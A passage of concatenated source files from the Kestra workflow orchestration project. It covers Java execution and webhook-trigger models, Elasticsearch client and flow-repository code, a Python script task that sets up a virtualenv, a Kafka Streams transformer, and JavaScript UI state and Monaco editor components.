*/
private static FailedTaskRunWithLog lastAttemptsTaskRunForFailedExecution(TaskRun taskRun, TaskRunAttempt lastAttempt, Exception e) {
return new FailedTaskRunWithLog(
taskRun
.withAttempts(
Stream
.concat(
taskRun.getAttempts().stream().limit(taskRun.getAttempts().size() - 1),
Stream.of(lastAttempt
.withState(State.Type.FAILED))
)
.collect(Collectors.toList())
)
.withState(State.Type.FAILED),
RunContextLogger.logEntries(loggingEventFromException(e), LogEntry.of(taskRun))
);
}
@Value
public static class FailedTaskRunWithLog {
private TaskRun taskRun;
private List<LogEntry> logs;
}
@Value
@Builder
public static class FailedExecutionWithLog {
private Execution execution;
private List<LogEntry> logs;
}
/**
* Transform an exception to {@link ILoggingEvent}
* @param e the current execption
* @return the {@link ILoggingEvent} waited to generate {@link LogEntry}
*/
public static ILoggingEvent loggingEventFromException(Exception e) {
LoggingEvent loggingEvent = new LoggingEvent();
loggingEvent.setLevel(ch.qos.logback.classic.Level.ERROR);
loggingEvent.setThrowableProxy(new ThrowableProxy(e));
loggingEvent.setMessage(e.getMessage());
loggingEvent.setThreadName(Thread.currentThread().getName());
loggingEvent.setTimeStamp(Instant.now().toEpochMilli());
loggingEvent.setLoggerName(Execution.class.getName());
return loggingEvent;
}
public Map<String, Object> outputs() {
if (this.taskRunList == null) {
return ImmutableMap.of();
}
Map<String, Object> result = new HashMap<>();
for (TaskRun current : this.taskRunList) {
if (current.getOutputs() != null) {
result = MapUtils.merge(result, outputs(current));
}
}
return result;
}
private Map<String, Object> outputs(TaskRun taskRun) {
List<TaskRun> childs = findChilds(taskRun)
.stream()
.filter(r -> r.getValue() != null)
.collect(Collectors.toList());
if (childs.size() == 0) {
if (taskRun.getValue() == null) {
return Map.of(taskRun.getTaskId(), taskRun.getOutputs());
} else {
return Map.of(taskRun.getTaskId(), Map.of(taskRun.getValue(), taskRun.getOutputs()));
}
}
Map<String, Object> result = new HashMap<>();
Map<String, Object> current = result;
for (TaskRun t : childs) {
if (t.getValue() != null) {
HashMap<String, Object> item = new HashMap<>();
current.put(t.getValue(), item);
current = item;
}
}
if (taskRun.getOutputs() != null) {
if (taskRun.getValue() != null) {
current.put(taskRun.getValue(), taskRun.getOutputs());
} else {
current.putAll(taskRun.getOutputs());
}
}
return Map.of(taskRun.getTaskId(), result);
}
public List<Map<String, Object>> parents(TaskRun taskRun) {
List<Map<String, Object>> result = new ArrayList<>();
List<TaskRun> childs = findChilds(taskRun);
Collections.reverse(childs);
for (TaskRun childTaskRun : childs) {
HashMap<String, Object> current = new HashMap<>();
if (childTaskRun.getValue() != null) {
current.put("taskrun", Map.of("value", childTaskRun.getValue()));
}
if (childTaskRun.getOutputs() != null) {
current.put("outputs", childTaskRun.getOutputs());
}
if (current.size() > 0) {
result.add(current);
}
}
return result;
}
/**
* Find all childs from this {@link TaskRun}. The list is starting from deeper child and end on closest child, so
* first element is the task that start first.
* This method don't return the current tasks
*
* @param taskRun current child
* @return List of parent {@link TaskRun}
*/
public List<TaskRun> findChilds(TaskRun taskRun) {
if (taskRun.getParentTaskRunId() == null) {
return new ArrayList<>();
}
ArrayList<TaskRun> result = new ArrayList<>();
boolean ended = false;
while (!ended) {
final TaskRun finalTaskRun = taskRun;
Optional<TaskRun> find = this.taskRunList
.stream()
.filter(t -> t.getId().equals(finalTaskRun.getParentTaskRunId()))
.findFirst();
if (find.isPresent()) {
result.add(find.get());
taskRun = find.get();
} else {
ended = true;
}
}
Collections.reverse(result);
return result;
}
public List<String> findChildsValues(TaskRun taskRun, boolean withCurrent) {
return (withCurrent ?
Stream.concat(findChilds(taskRun).stream(), Stream.of(taskRun)) :
findChilds(taskRun).stream()
)
.filter(t -> t.getValue() != null)
.map(TaskRun::getValue)
.collect(Collectors.toList());
}
public String toString(boolean pretty) {
if (!pretty) {
return super.toString();
}
return "Execution(" +
"\n id=" + this.getId() +
"\n flowId=" + this.getFlowId() +
"\n state=" + this.getState().getCurrent().toString() +
"\n taskRunList=" +
"\n [" +
"\n " +
(this.taskRunList == null ? "" : this.taskRunList
.stream()
.map(t -> t.toString(true))
.collect(Collectors.joining(",\n "))
) +
"\n ], " +
"\n inputs=" + this.getInputs() +
"\n)";
}
public String toStringState() {
return "(" +
"\n state=" + this.getState().getCurrent().toString() +
"\n taskRunList=" +
"\n [" +
"\n " +
(this.taskRunList == null ? "" : this.taskRunList
.stream()
.map(TaskRun::toStringState)
.collect(Collectors.joining(",\n "))
) +
"\n ] " +
"\n)";
}
public Long toCrc32State() {
CRC32 crc32 = new CRC32();
crc32.update(this.toStringState().getBytes());
return crc32.getValue();
}
}
<|start_filename|>repository-elasticsearch/src/main/java/io/kestra/repository/elasticsearch/services/ElasticsearchClientFactory.java<|end_filename|>
package io.kestra.repository.elasticsearch.services;
import io.micronaut.elasticsearch.DefaultElasticsearchClientFactory;
import io.micronaut.context.annotation.Bean;
import io.micronaut.context.annotation.Factory;
import io.micronaut.context.annotation.Replaces;
import io.micronaut.context.annotation.Requires;
import org.elasticsearch.client.RestClient;
import org.elasticsearch.client.RestClientBuilder;
import org.elasticsearch.client.RestHighLevelClient;
import io.kestra.repository.elasticsearch.configs.ElasticsearchConfig;
import javax.inject.Inject;
import javax.inject.Singleton;
/**
* A replacement for {@link DefaultElasticsearchClientFactory} for creating Elasticsearch client.
* The original is incomplete and don't allow basic auth.
*/
@Requires(beans = ElasticsearchConfig.class)
@Replaces(DefaultElasticsearchClientFactory.class)
@Factory
public class ElasticsearchClientFactory {
/**
* Create the {@link RestHighLevelClient} bean for the given configuration.
*
* @param config The {@link ElasticsearchConfig} object
* @return A {@link RestHighLevelClient} bean
*/
@Bean(preDestroy = "close")
@Inject
@Singleton
RestHighLevelClient restHighLevelClient(ElasticsearchConfig config) {
return new RestHighLevelClient(restClientBuilder(config));
}
/**
* @param config The {@link ElasticsearchConfig} object
* @return The {@link RestClient} bean
*/
@Bean(preDestroy = "close")
@Inject
@Singleton
RestClient restClient(ElasticsearchConfig config) {
return restClientBuilder(config).build();
}
/**
* @param config The {@link ElasticsearchConfig} object
* @return The {@link RestClientBuilder}
*/
protected RestClientBuilder restClientBuilder(ElasticsearchConfig config) {
RestClientBuilder builder = RestClient
.builder(config.httpHosts())
.setRequestConfigCallback(requestConfigBuilder -> {
requestConfigBuilder = config.getRequestConfigBuilder();
return requestConfigBuilder;
})
.setHttpClientConfigCallback(httpClientBuilder -> {
httpClientBuilder = config.httpAsyncClientBuilder();
return httpClientBuilder;
});
if (config.getDefaultHeaders() != null) {
builder.setDefaultHeaders(config.defaultHeaders());
}
if (config.getPathPrefix() != null) {
builder.setPathPrefix(config.getPathPrefix());
}
if (config.getPathPrefix() != null) {
builder.setPathPrefix(config.getPathPrefix());
}
if (config.getStrictDeprecationMode() != null) {
builder.setStrictDeprecationMode(config.getStrictDeprecationMode());
}
return builder;
}
}
<|start_filename|>ui/src/utils/state.js<|end_filename|>
import _mapValues from "lodash/mapValues";
import _map from "lodash/map";
const STATE = Object.freeze({
CREATED: {
name: "CREATED",
colorClass: "info",
color: "#75bcdd",
icon: "progress-wrench",
isRunning: true,
isKillable: true,
isFailed: false,
},
RESTARTED: {
name: "RESTARTED",
colorClass: "info",
color: "#75bcdd",
icon: "restart",
isRunning: false,
isKillable: true,
isFailed: false,
},
SUCCESS: {
name: "SUCCESS",
colorClass: "success",
color: "#43ac6a",
icon: "check-circle",
isRunning: false,
isKillable: false,
isFailed: false,
},
RUNNING: {
name: "RUNNING",
colorClass: "primary",
color: "#1AA5DE",
icon: "play-circle",
isRunning: true,
isKillable: true,
isFailed: false,
},
KILLING: {
name: "KILLING",
colorClass: "warning",
color: "#FBD10B",
icon: "close-circle",
isRunning: true,
isKillable: false,
isFailed: true,
},
KILLED: {
name: "KILLED",
colorClass: "warning",
color: "#FBD10B",
icon: "stop-circle",
isRunning: false,
isKillable: false,
isFailed: true,
},
WARNING: {
name: "WARNING",
colorClass: "warning",
color: "#FBD10B",
icon: "alert-circle",
isRunning: false,
isKillable: false,
isFailed: true,
},
FAILED: {
name: "FAILED",
colorClass: "danger",
color: "#F04124",
icon: "close-circle",
isRunning: false,
isKillable: false,
isFailed: true,
},
PAUSED: {
name: "PAUSED",
colorClass: "purple",
color: "#6f42c1",
icon: "pause-circle",
isRunning: false,
isKillable: false,
isFailed: false,
}
});
export default class State {
static get CREATED() {
return STATE.CREATED.name;
}
static get RESTARTED() {
return STATE.RESTARTED.name;
}
static get SUCCESS() {
return STATE.SUCCESS.name;
}
static get RUNNING() {
return STATE.RUNNING.name;
}
static get KILLING() {
return STATE.KILLING.name;
}
static get KILLED() {
return STATE.KILLED.name;
}
static get FAILED() {
return STATE.FAILED.name;
}
static get WARNING() {
return STATE.WARNING.name;
}
static get PAUSED() {
return STATE.PAUSED.name;
}
static isRunning(state) {
return STATE[state] && STATE[state].isRunning;
}
static isKillable(state) {
return STATE[state] && STATE[state].isKillable;
}
static isFailed(state) {
return STATE[state] && STATE[state].isFailed;
}
static allStates() {
return _map(STATE, "name");
}
static colorClass() {
return _mapValues(STATE, state => state.colorClass);
}
static color() {
return _mapValues(STATE, state => state.color);
}
static icon() {
return _mapValues(STATE, state => state.icon);
}
}
<|start_filename|>repository-elasticsearch/src/test/java/io/kestra/repository/elasticsearch/ElasticSearchRepositoryTestUtils.java<|end_filename|>
package io.kestra.repository.elasticsearch;
import org.elasticsearch.action.admin.indices.delete.DeleteIndexRequest;
import org.elasticsearch.action.support.IndicesOptions;
import org.elasticsearch.client.RequestOptions;
import org.elasticsearch.client.RestHighLevelClient;
import org.junit.jupiter.api.AfterEach;
import io.kestra.repository.elasticsearch.configs.IndicesConfig;
import java.io.IOException;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
@Singleton
public class ElasticSearchRepositoryTestUtils {
@Inject
RestHighLevelClient client;
@Inject
List<IndicesConfig> indicesConfigs;
@AfterEach
public void tearDown() throws IOException {
DeleteIndexRequest deleteIndexRequest = new DeleteIndexRequest(indicesConfigs.stream()
.map(IndicesConfig::getIndex)
.toArray(String[]::new))
.indicesOptions(IndicesOptions.LENIENT_EXPAND_OPEN);
client.indices().delete(deleteIndexRequest, RequestOptions.DEFAULT);
}
}
<|start_filename|>core/src/main/java/io/kestra/core/tasks/scripts/AbstractPython.java<|end_filename|>
package io.kestra.core.tasks.scripts;
import io.kestra.core.exceptions.IllegalVariableEvaluationException;
import io.kestra.core.models.annotations.Example;
import io.kestra.core.models.annotations.Plugin;
import io.kestra.core.models.annotations.PluginProperty;
import io.kestra.core.runners.RunContext;
import io.swagger.v3.oas.annotations.media.Schema;
import lombok.*;
import lombok.experimental.SuperBuilder;
import lombok.extern.slf4j.Slf4j;
import java.io.IOException;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import javax.validation.constraints.NotEmpty;
import javax.validation.constraints.NotNull;
@SuperBuilder
@ToString
@EqualsAndHashCode
@Getter
@NoArgsConstructor
@Schema(
title = "Execute a Python script",
description = "With this Python task, we can execute a full python script.\n" +
"The task will create a fresh `virtualenv` for every tasks and allow you to install some python package define in `requirements` property.\n" +
"\n" +
"By convention, you need to define at least a `main.py` files in `inputFiles` that will be the script used.\n" +
"But you are also able to add as many script as you need in `inputFiles`.\n" +
"\n" +
"You can also add a `pip.conf` in `inputFiles` to customize the pip download of dependencies (like a private registry).\n" +
"\n" +
"You can send outputs & metrics from your python script that can be used by others tasks. In order to help, we inject a python package directly on the working dir." +
"Here is an example usage:\n" +
"```python\n" +
"from kestra import Kestra\n" +
"Kestra.outputs({'test': 'value', 'int': 2, 'bool': True, 'float': 3.65})\n" +
"Kestra.counter('count', 1, {'tag1': 'i', 'tag2': 'win'})\n" +
"Kestra.timer('timer1', lambda: time.sleep(1), {'tag1': 'i', 'tag2': 'lost'})\n" +
"Kestra.timer('timer2', 2.12, {'tag1': 'i', 'tag2': 'destroy'})\n" +
"```"
)
@Plugin(
examples = {
@Example(
title = "Execute a python script",
code = {
"inputFiles:",
" data.json: |",
" {\"status\": \"OK\"}",
" main.py: |",
" from kestra import Kestra",
" import json",
" import requests",
" import sys",
" result = json.loads(open(sys.argv[1]).read())",
" print(f\"python script {result['status']}\")",
" response = requests.get('http://google.com')",
" print(response.status_code)",
" Kestra.outputs({'status': response.status_code, 'text': response.text})",
" pip.conf: |",
" # some specific pip repository configuration",
"args:",
" - data.json",
"requirements:",
" - requests"
}
)
}
)
@Slf4j
public class AbstractPython extends AbstractBash {
@Builder.Default
@Schema(
title = "The python interpreter to use",
description = "Set the python interpreter path to use"
)
@PluginProperty(dynamic = true)
@NotNull
@NotEmpty
private final String pythonPath = "/usr/bin/python3";
@Schema(
title = "Python command args",
description = "Arguments list to pass to main python script"
)
@PluginProperty(dynamic = true)
private List<String> args;
@Schema(
title = "Requirements are python dependencies to add to the python execution process",
description = "Python dependencies list to setup in the virtualenv, in the same format than requirements.txt"
)
@PluginProperty(dynamic = true)
protected List<String> requirements;
protected String virtualEnvCommand(RunContext runContext, List<String> requirements) throws IllegalVariableEvaluationException {
List<String> renderer = new ArrayList<>();
if (this.exitOnFailed) {
renderer.add("set -o errexit");
}
String requirementsAsString = "";
if (requirements != null) {
requirementsAsString = "./bin/pip install " + runContext.render(String.join(" ", requirements), additionalVars) + " > /dev/null";
}
renderer.addAll(Arrays.asList(
this.pythonPath + " -m virtualenv " + workingDirectory + " -p " + this.pythonPath + " > /dev/null",
"./bin/pip install pip --upgrade > /dev/null",
requirementsAsString
));
return String.join("\n", renderer);
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/streams/FlowWithTriggerTransformer.java<|end_filename|>
package io.kestra.runner.kafka.streams;
import com.google.common.collect.Streams;
import io.kestra.core.runners.Executor;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.streams.KeyValue;
import org.apache.kafka.streams.kstream.Transformer;
import org.apache.kafka.streams.processor.ProcessorContext;
import org.apache.kafka.streams.state.KeyValueIterator;
import org.apache.kafka.streams.state.KeyValueStore;
import org.apache.kafka.streams.state.ValueAndTimestamp;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.services.FlowService;
import java.util.List;
import java.util.stream.Collectors;
@Slf4j
public class FlowWithTriggerTransformer implements Transformer<String, Executor, Iterable<KeyValue<String, ExecutorFlowTrigger>>> {
private final FlowService flowService;
private KeyValueStore<String, ValueAndTimestamp<Flow>> flowStore;
public FlowWithTriggerTransformer(FlowService flowService) {
this.flowService = flowService;
}
@Override
@SuppressWarnings("unchecked")
public void init(final ProcessorContext context) {
this.flowStore = (KeyValueStore<String, ValueAndTimestamp<Flow>>) context.getStateStore("flow");
}
@SuppressWarnings("UnstableApiUsage")
@Override
public Iterable<KeyValue<String, ExecutorFlowTrigger>> transform(String key, Executor value) {
try (KeyValueIterator<String, ValueAndTimestamp<Flow>> flows = this.flowStore.all()) {
List<Flow> allFlows = flowService
.keepLastVersion(
Streams.stream(flows)
.map(kv -> kv.value.value())
)
.collect(Collectors.toList());
return flowService.flowWithFlowTrigger(allFlows.stream())
.stream()
.map(f -> KeyValue.pair(f.getFlow().uidWithoutRevision(), new ExecutorFlowTrigger(f.getFlow(), value.getExecution())))
.collect(Collectors.toList());
}
}
@Override
public void close() {
}
}
<|start_filename|>core/src/main/java/io/kestra/core/models/triggers/types/Webhook.java<|end_filename|>
package io.kestra.core.models.triggers.types;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.micronaut.http.HttpRequest;
import io.swagger.v3.oas.annotations.media.Schema;
import lombok.*;
import lombok.experimental.SuperBuilder;
import io.kestra.core.models.annotations.Example;
import io.kestra.core.models.annotations.Plugin;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.executions.ExecutionTrigger;
import io.kestra.core.models.flows.State;
import io.kestra.core.models.triggers.AbstractTrigger;
import io.kestra.core.models.triggers.TriggerOutput;
import io.kestra.core.serializers.JacksonMapper;
import io.kestra.core.utils.IdUtils;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size;
@SuperBuilder
@ToString
@EqualsAndHashCode
@Getter
@NoArgsConstructor
@Schema(
title = "Trigger a flow from a webhook",
description = "Webbook trigger allow you to trigger a flow from a webhook url.\n" +
"The trigger will generate a `key` that must be used on url : `/api/v1/executions/webhook/{namespace}/[flowId]/{key}`.\n" +
"Kestra accept `GET`, `POST` & `PUT` request on this url.\n" +
"The whole body & headers will be available as variable:\n " +
"- `trigger.variables.body`\n" +
"- `trigger.variables.headers`"
)
@Plugin(
examples = {
@Example(
title = "Add a trigger to the current flow",
code = {
"triggers:",
" - id: webhook",
" type: io.kestra.core.models.triggers.types.Webhook"
},
full = true
),
@Example(
title = "After the trigger is created, a key will be created that will be use in the webhook url, now, you can launch " +
"the flow on the url `/api/v1/executions/webhook/{namespace}/[flowId]/4wjtkzwVGBM9yKnjm3yv8r`",
code = {
"triggers:",
" - id: webhook",
" type: io.kestra.core.models.triggers.types.Webhook",
" key: <KEY>"
},
full = true
)
}
)
public class Webhook extends AbstractTrigger implements TriggerOutput<Webhook.Output> {
@Builder.Default
@Size(min = 16, max = 256)
@Schema(
title = "The unique key that will be part of the url",
description = "If you don't provide a key, a random one will be generated. Is used as key for generating the url of the webhook.\n" +
"\n" +
"::: warning\n" +
"Take care when using manual key, the key is the only security to protect your webhook and must be considered as a secret !\n" +
":::\n"
)
private final String key = IdUtils.create();
public Optional<Execution> evaluate(HttpRequest<String> request, io.kestra.core.models.flows.Flow flow) {
String body = request.getBody().orElse(null);
ObjectMapper mapper = JacksonMapper.ofJson();
Execution.ExecutionBuilder builder = Execution.builder()
.id(IdUtils.create())
.namespace(flow.getNamespace())
.flowId(flow.getId())
.flowRevision(flow.getRevision())
.state(new State())
.trigger(ExecutionTrigger.of(
this,
Output.builder()
.body(tryMap(mapper, body)
.or(() -> tryArray(mapper, body))
.orElse(body)
)
.headers(request.getHeaders().asMap())
.build()
));
return Optional.of(builder.build());
}
private Optional<Object> tryMap(ObjectMapper mapper, String body) {
try {
return Optional.of(mapper.readValue(body, new TypeReference<Map<String, Object>>() {}));
} catch (Exception ignored) {
return Optional.empty();
}
}
private Optional<Object> tryArray(ObjectMapper mapper, String body) {
try {
return Optional.of(mapper.readValue(body, new TypeReference<List<Object>>() {}));
} catch (Exception ignored) {
return Optional.empty();
}
}
@Builder
@ToString
@EqualsAndHashCode
@Getter
@NoArgsConstructor
@AllArgsConstructor
public static class Output implements io.kestra.core.models.tasks.Output {
@Schema(
title = "The full body for the webhook request",
description = "We try to deserialize the incoming request as json (array or object).\n" +
"If we can't the full body as string will be available"
)
@NotNull
private Object body;
@Schema(title = "The headers for the webhook request")
@NotNull
private Map<String, List<String>> headers;
}
}
<|start_filename|>ui/src/components/inputs/MonacoEditor.js<|end_filename|>
module.exports = {
name: "MonacoEditor",
props: {
original: String,
value: {
type: String,
required: true
},
theme: {
type: String,
"default": "vs"
},
language: String,
options: Object,
diffEditor: {
type: Boolean,
"default": false
}
},
model: {
event: "change"
},
watch: {
options: {
deep: true,
handler: function(newValue, oldValue) {
if (this.editor && this.needReload(newValue, oldValue)) {
this.reload();
} else {
this.editor.updateOptions(newValue);
}
}
},
value: function(newValue) {
if (this.editor) {
let editor = this.getModifiedEditor();
if (newValue !== editor.getValue()) {
editor.setValue(newValue);
}
}
},
original: function(newValue) {
if (this.editor && this.diffEditor) {
let editor = this.getOriginalEditor();
if (newValue !== editor.getValue()) {
editor.setValue(newValue);
}
}
},
language: function(newVal) {
if (this.editor) {
let editor = this.getModifiedEditor();
this.monaco.editor.setModelLanguage(editor.getModel(), newVal);
}
},
theme: function(newVal) {
if (this.editor) {
this.monaco.editor.setTheme(newVal);
}
}
},
mounted: function() {
let _this = this;
let monaco = require("monaco-editor/esm/vs/editor/editor.api.js");
this.monaco = monaco;
this.$nextTick(function () {
_this.initMonaco(monaco);
});
},
beforeDestroy: function() {
this.destroy();
},
methods: {
initMonaco: function(monaco) {
let self = this;
this.$emit("editorWillMount", this.monaco);
let options = {
...{
value: this.value,
theme: this.theme,
language: this.language
},
...this.options
};
if (this.diffEditor) {
this.editor = monaco.editor.createDiffEditor(this.$el, options);
let originalModel = monaco.editor.createModel(this.original, this.language);
let modifiedModel = monaco.editor.createModel(this.value, this.language);
this.editor.setModel({
original: originalModel,
modified: modifiedModel
});
} else {
this.editor = monaco.editor.create(this.$el, options);
}
let editor = this.getModifiedEditor();
editor.onDidChangeModelContent(function (event) {
let value = editor.getValue();
if (self.value !== value) {
self.$emit("change", value, event);
}
});
this.$emit("editorDidMount", this.editor);
},
getEditor: function() {
return this.editor;
},
getModifiedEditor: function() {
return this.diffEditor ? this.editor.getModifiedEditor() : this.editor;
},
getOriginalEditor: function() {
return this.diffEditor ? this.editor.getOriginalEditor() : this.editor;
},
focus: function() {
this.editor.focus();
},
destroy: function() {
if (this.editor) {
this.editor.dispose();
}
},
needReload: function(newValue, oldValue) {
return oldValue.renderSideBySide !== newValue.renderSideBySide;
},
reload: function() {
this.destroy();
this.initMonaco(this.monaco);
},
},
render: function render(h) {
return h("div");
}
};
<|start_filename|>repository-elasticsearch/src/main/java/io/kestra/repository/elasticsearch/ElasticSearchFlowRepository.java<|end_filename|>
package io.kestra.repository.elasticsearch;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.kestra.core.models.SearchResult;
import io.kestra.core.serializers.JacksonMapper;
import io.kestra.core.utils.ListUtils;
import io.micronaut.context.event.ApplicationEventPublisher;
import io.micronaut.data.model.Pageable;
import org.elasticsearch.action.search.SearchRequest;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.RequestOptions;
import org.elasticsearch.client.RestHighLevelClient;
import org.elasticsearch.common.text.Text;
import org.elasticsearch.index.query.BoolQueryBuilder;
import org.elasticsearch.index.query.MatchQueryBuilder;
import org.elasticsearch.index.query.QueryBuilder;
import org.elasticsearch.index.query.QueryBuilders;
import org.elasticsearch.search.builder.SearchSourceBuilder;
import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder;
import org.elasticsearch.search.sort.FieldSortBuilder;
import org.elasticsearch.search.sort.SortOrder;
import io.kestra.core.events.CrudEvent;
import io.kestra.core.events.CrudEventType;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.triggers.Trigger;
import io.kestra.core.models.validations.ModelValidator;
import io.kestra.core.queues.QueueFactoryInterface;
import io.kestra.core.queues.QueueInterface;
import io.kestra.core.repositories.ArrayListTotal;
import io.kestra.core.repositories.FlowRepositoryInterface;
import io.kestra.core.services.FlowService;
import io.kestra.core.utils.ExecutorsUtils;
import java.io.IOException;
import java.util.*;
import java.util.stream.Collectors;
import javax.inject.Inject;
import javax.inject.Named;
import javax.inject.Singleton;
import javax.validation.ConstraintViolationException;
@Singleton
@ElasticSearchRepositoryEnabled
public class ElasticSearchFlowRepository extends AbstractElasticSearchRepository<Flow> implements FlowRepositoryInterface {
private static final String INDEX_NAME = "flows";
protected static final String REVISIONS_NAME = "flows-revisions";
protected static final ObjectMapper JSON_MAPPER = JacksonMapper.ofJson();
protected static final ObjectMapper YAML_MAPPER = JacksonMapper.ofYaml();
private final QueueInterface<Flow> flowQueue;
private final QueueInterface<Trigger> triggerQueue;
private final ApplicationEventPublisher eventPublisher;
@Inject
public ElasticSearchFlowRepository(
RestHighLevelClient client,
ElasticSearchIndicesService elasticSearchIndicesService,
ModelValidator modelValidator,
ExecutorsUtils executorsUtils,
@Named(QueueFactoryInterface.FLOW_NAMED) QueueInterface<Flow> flowQueue,
@Named(QueueFactoryInterface.TRIGGER_NAMED) QueueInterface<Trigger> triggerQueue,
ApplicationEventPublisher eventPublisher
) {
super(client, elasticSearchIndicesService, modelValidator, executorsUtils, Flow.class);
this.flowQueue = flowQueue;
this.triggerQueue = triggerQueue;
this.eventPublisher = eventPublisher;
}
private static String flowId(Flow flow) {
return String.join("_", Arrays.asList(
flow.getNamespace(),
flow.getId()
));
}
@Override
public Optional<Flow> findById(String namespace, String id, Optional<Integer> revision) {
BoolQueryBuilder bool = this.defaultFilter()
.must(QueryBuilders.termQuery("namespace", namespace))
.must(QueryBuilders.termQuery("id", id));
revision
.ifPresent(v -> {
this.removeDeleted(bool);
bool.must(QueryBuilders.termQuery("revision", v));
});
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.query(bool)
.fetchSource("*", "sourceCode")
.sort(new FieldSortBuilder("revision").order(SortOrder.DESC))
.size(1);
List<Flow> query = this.query(revision.isPresent() ? REVISIONS_NAME : INDEX_NAME, sourceBuilder);
return query.size() > 0 ? Optional.of(query.get(0)) : Optional.empty();
}
private void removeDeleted(BoolQueryBuilder bool) {
QueryBuilder deleted = bool
.must()
.stream()
.filter(queryBuilder -> queryBuilder instanceof MatchQueryBuilder && ((MatchQueryBuilder) queryBuilder).fieldName().equals("deleted"))
.findFirst()
.orElseThrow();
bool.must().remove(deleted);
}
@Override
public List<Flow> findRevisions(String namespace, String id) {
BoolQueryBuilder defaultFilter = this.defaultFilter();
BoolQueryBuilder bool = defaultFilter
.must(QueryBuilders.termQuery("namespace", namespace))
.must(QueryBuilders.termQuery("id", id));
this.removeDeleted(defaultFilter);
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.query(bool)
.fetchSource("*", "sourceCode")
.sort(new FieldSortBuilder("revision").order(SortOrder.ASC));
return this.scroll(REVISIONS_NAME, sourceBuilder);
}
@Override
public List<Flow> findAll() {
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.fetchSource("*", "sourceCode")
.query(this.defaultFilter());
return this.scroll(INDEX_NAME, sourceBuilder);
}
@Override
public List<Flow> findAllWithRevisions() {
BoolQueryBuilder defaultFilter = this.defaultFilter();
this.removeDeleted(defaultFilter);
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.fetchSource("*", "sourceCode")
.query(defaultFilter)
.sort(new FieldSortBuilder("id").order(SortOrder.ASC))
.sort(new FieldSortBuilder("revision").order(SortOrder.ASC));
return this.scroll(REVISIONS_NAME, sourceBuilder);
}
@Override
public List<Flow> findByNamespace(String namespace) {
BoolQueryBuilder bool = this.defaultFilter()
.must(QueryBuilders.termQuery("namespace", namespace));
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.fetchSource("*", "sourceCode")
.query(bool);
return this.scroll(INDEX_NAME, sourceBuilder);
}
@Override
public ArrayListTotal<Flow> find(String query, Pageable pageable) {
BoolQueryBuilder bool = this.defaultFilter()
.must(QueryBuilders.queryStringQuery(query)
.field("namespace")
.field("id", 2)
);
SearchSourceBuilder sourceBuilder = this.searchSource(bool, Optional.empty(), pageable);
sourceBuilder.fetchSource("*", "sourceCode");
return this.query(INDEX_NAME, sourceBuilder);
}
@Override
public ArrayListTotal<SearchResult<Flow>> findSourceCode(String query, Pageable pageable) {
BoolQueryBuilder bool = this.defaultFilter()
.must(QueryBuilders.queryStringQuery(query).field("sourceCode"));
SearchSourceBuilder sourceBuilder = this.searchSource(bool, Optional.empty(), pageable);
sourceBuilder.fetchSource("*", "sourceCode");
sourceBuilder.highlighter(new HighlightBuilder()
.preTags("[mark]")
.postTags("[/mark]")
.field("sourceCode")
);
SearchRequest searchRequest = searchRequest(INDEX_NAME, sourceBuilder, false);
try {
SearchResponse searchResponse = client.search(searchRequest, RequestOptions.DEFAULT);
return new ArrayListTotal<>(
Arrays.stream(searchResponse.getHits().getHits())
.map(documentFields -> {
try {
return new SearchResult<>(
mapper.readValue(documentFields.getSourceAsString(), this.cls),
documentFields.getHighlightFields().get("sourceCode") != null ?
Arrays.stream(documentFields.getHighlightFields().get("sourceCode").getFragments())
.map(Text::string)
.collect(Collectors.toList()) :
Collections.emptyList()
);
} catch (IOException e) {
throw new RuntimeException(e);
}
})
.collect(Collectors.toList()),
searchResponse.getHits().getTotalHits().value
);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public Flow create(Flow flow) throws ConstraintViolationException {
// control if create is valid
flow.validate()
.ifPresent(s -> {
throw s;
});
return this.save(flow, CrudEventType.CREATE);
}
public Flow update(Flow flow, Flow previous) throws ConstraintViolationException {
// control if update is valid
this
.findById(previous.getNamespace(), previous.getId())
.map(current -> current.validateUpdate(flow))
.filter(Optional::isPresent)
.map(Optional::get)
.ifPresent(s -> {
throw s;
});
Flow saved = this.save(flow, CrudEventType.UPDATE);
FlowService
.findRemovedTrigger(flow, previous)
.forEach(abstractTrigger -> triggerQueue.delete(Trigger.of(flow, abstractTrigger)));
return saved;
}
public Flow save(Flow flow, CrudEventType crudEventType) throws ConstraintViolationException {
modelValidator
.isValid(flow)
.ifPresent(s -> {
throw s;
});
Optional<Flow> exists = this.findById(flow.getNamespace(), flow.getId());
if (exists.isPresent() && exists.get().equalsWithoutRevision(flow)) {
return exists.get();
}
List<Flow> revisions = this.findRevisions(flow.getNamespace(), flow.getId());
if (revisions.size() > 0) {
flow = flow.withRevision(revisions.get(revisions.size() - 1).getRevision() + 1);
} else {
flow = flow.withRevision(1);
}
String json;
try {
Map<String, Object> flowMap = JacksonMapper.toMap(flow);
flowMap.put("sourceCode", YAML_MAPPER.writeValueAsString(flow));
json = JSON_MAPPER.writeValueAsString(flowMap);
} catch (JsonProcessingException e) {
throw new RuntimeException(e);
}
this.putRequest(INDEX_NAME, flowId(flow), json);
this.putRequest(REVISIONS_NAME, flow.uid(), json);
flowQueue.emit(flow);
eventPublisher.publishEvent(new CrudEvent<>(flow, crudEventType));
return flow;
}
@Override
public Flow delete(Flow flow) {
Flow deleted = flow.toDeleted();
flowQueue.emit(deleted);
this.deleteRequest(INDEX_NAME, flowId(deleted));
this.putRequest(REVISIONS_NAME, deleted.uid(), deleted);
